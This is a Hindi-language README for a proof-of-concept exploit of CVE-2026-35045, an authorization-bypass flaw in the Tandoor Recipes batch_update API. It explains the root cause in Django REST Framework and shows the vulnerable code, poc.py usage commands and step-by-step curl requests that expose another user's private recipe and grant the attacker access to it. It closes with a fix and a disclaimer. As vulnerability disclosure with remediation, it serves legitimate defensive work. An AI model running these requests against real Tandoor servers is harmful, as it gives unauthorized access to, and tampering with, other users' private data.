
CVE-2026-35045 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes में एक टूटी हुई ऑब्जेक्ट-स्तरीय प्राधिकरण भेद्यता है, जो batch_update API एंडपॉइंट के माध्यम से अनधिकृत रेसिपी संशोधन को प्रदर्शित करता है।
Tandoor Recipes v2.6.1 में PUT /api/recipe/batch_update/ एंडपॉइंट Space के भीतर किसी भी प्रमाणित उपयोगकर्ता को उस Space में किसी भी रेसिपी को संशोधित करने की अनुमति देता है — जिसमें अन्य उपयोगकर्ताओं के स्वामित्व वाली निजी रेसिपी भी शामिल हैं। यह सभी मानक एकल-रेसिपी एंडपॉइंट्स पर लागू ऑब्जेक्ट-स्तरीय प्राधिकरण जांचों को पूरी तरह से बायपास करता है।
मूल कारण Django REST Framework का एक व्यवहारिक अंतर है: detail=False लिस्ट-एक्शन कभी भी has_object_permission() को कॉल नहीं करते, केवल has_permission() को कॉल करते हैं। क्वेरीसेट केवल space=request.space द्वारा फ़िल्टर करता है, जिसमें created_by, private, या shared सूची की कोई जाँच नहीं होती। एक हमलावर निजी रेसिपी को बलपूर्वक उजागर कर सकता है, स्वयं को स्थायी पहुँच प्रदान कर सकता है, अन्य उपयोगकर्ताओं की अनुमतियाँ रद्द कर सकता है, और मेटाडेटा के साथ छेड़छाड़ कर सकता है — यह सब एक ही API कॉल में जो HTTP 200 OK खाली बॉडी के साथ लौटाता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास |
| CVSS v3.1 | 8.1 उच्च — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| प्रभावित संस्करण | Tandoor Recipes ≤ 2.6.1 |
| विक्रेता | TandoorRecipes/recipes |
detail=False ऑब्जेक्ट-स्तरीय अनुमति जाँचों को बायपास करता हैफ़ाइल: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← No created_by or private check
)
Django REST Framework में, detail=False के साथ पंजीकृत एक्शन लिस्ट-एक्शन होते हैं। वे कभी भी get_object() को कॉल नहीं करते, जिसका अर्थ है कि check_object_permissions() और CustomRecipePermission.has_object_permission() कभी लागू नहीं होते। केवल has_permission() चलता है — जो Space सदस्यता की पुष्टि करता है, रेसिपी स्वामित्व की नहीं।
PUT /api/recipe/{id}/ पूर्ण DRF अनुमति प्रवाह का पालन करता है:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ denies access if recipe is private and not owned/shared with requester
batch_update एंडपॉइंट इस पूरी श्रृंखला को चुपचाप छोड़ देता है।
RecipeBatchUpdateSerializer निम्नलिखित फ़ील्ड उजागर करता है — Space में किसी भी रेसिपी पर लिखने योग्य:
| फ़ील्ड | प्रभाव |
|---|---|
private | रेसिपी दृश्यता टॉगल करें |
shared_add / shared_remove / shared_set | एक्सेस नियंत्रण सूची में हेरफेर करें |
keywords_add / keywords_remove / keywords_set | रेसिपी मेटाडेटा बदलें |
working_time / waiting_time | रेसिपी समय डेटा संशोधित करें |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│ Tandoor Server │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space member)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NEVER CALLED │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← No ownership check
│
▼
┌────────────────┐
│ Recipe ID 2 │
│ (owned by A) │
│ private=false ← patched
│ shared=[2] ← self-granted
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attacker (B) │
│ now has full │
│ access to │
│ Recipe ID 2 │
└────────────────┘
requests लाइब्रेरीpip install requests
# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| एक्शन | विवरण |
|---|---|
expose | लक्ष्य रेसिपी पर private: false सेट करता है — सभी Space सदस्यों को दृश्यता बलपूर्वक प्रदान करता है |
self_grant | हमलावर की उपयोगकर्ता ID को shared_add में जोड़ता है — रेसिपी निजी रहने पर भी स्थायी पहुँच प्रदान करता है |
both | एक ही अनुरोध में दोनों एक्शन चलाता है (डिफ़ॉल्ट) |
1. पूर्व-शर्त — रेसिपी मानक एंडपॉइंट के माध्यम से पहुँच योग्य नहीं है
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: 404 (private, not owned)
2. शोषण — बिना प्राधिकरण के batch_update
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Expected: HTTP 200 OK — {}
3. पोस्ट-शर्त — रेसिपी अब पहुँच योग्य है
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: HTTP 200 with recipe data, private=false
4. रेसिपी सूची के माध्यम से सत्यापित करें
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Expected: 2 <recipe_name> False
| प्रभाव क्षेत्र | विवरण | गंभीरता |
|---|---|---|
| बलपूर्वक रेसिपी उजागर | private: false सेट करने से कोई भी रेसिपी सभी Space सदस्यों को दिखाई देती है | उच्च |
| अनधिकृत स्व-अनुदान | shared_add के माध्यम से अपनी उपयोगकर्ता ID जोड़ने से किसी भी रेसिपी तक स्थायी पढ़ने/लिखने की पहुँच मिलती है | उच्च |
| पहुँच रद्द करना | किसी रेसिपी की साझाकरण सूची से वैध उपयोगकर्ताओं को हटाने के लिए shared_remove या shared_set का उपयोग करना | उच्च |
| मेटाडेटा छेड़छाड़ | अन्य उपयोगकर्ताओं के स्वामित्व वाली रेसिपी पर working_time, waiting_time, और keywords संशोधित करना | मध्यम |
बैच संचालन को स्वामित्व वाली रेसिपी तक सीमित करने के लिए क्वेरीसेट को created_by=request.user द्वारा फ़िल्टर करें:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Fix: restrict to owned recipes
)
यदि Space प्रशासकों को किसी भी रेसिपी को बैच-अपडेट करने की क्षमता की आवश्यकता है, तो भूमिका-आधारित शर्त जोड़ें:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
कोई भी detail=False एक्शन जो व्यक्तिगत ऑब्जेक्ट पर कार्य करता है, मैन्युअल रूप से ऑब्जेक्ट-स्तरीय प्राधिकरण लागू करना चाहिए। DRF का has_object_permission() लिस्ट-एक्शन के लिए कभी नहीं कहा जाता है — यह जिम्मेदारी पूरी तरह से डेवलपर पर आती है।
यह प्रमाण की अवधारणा केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
Filipe Gaudard — आक्रामक सुरक्षा शोधकर्ता | eWPT | eWPTx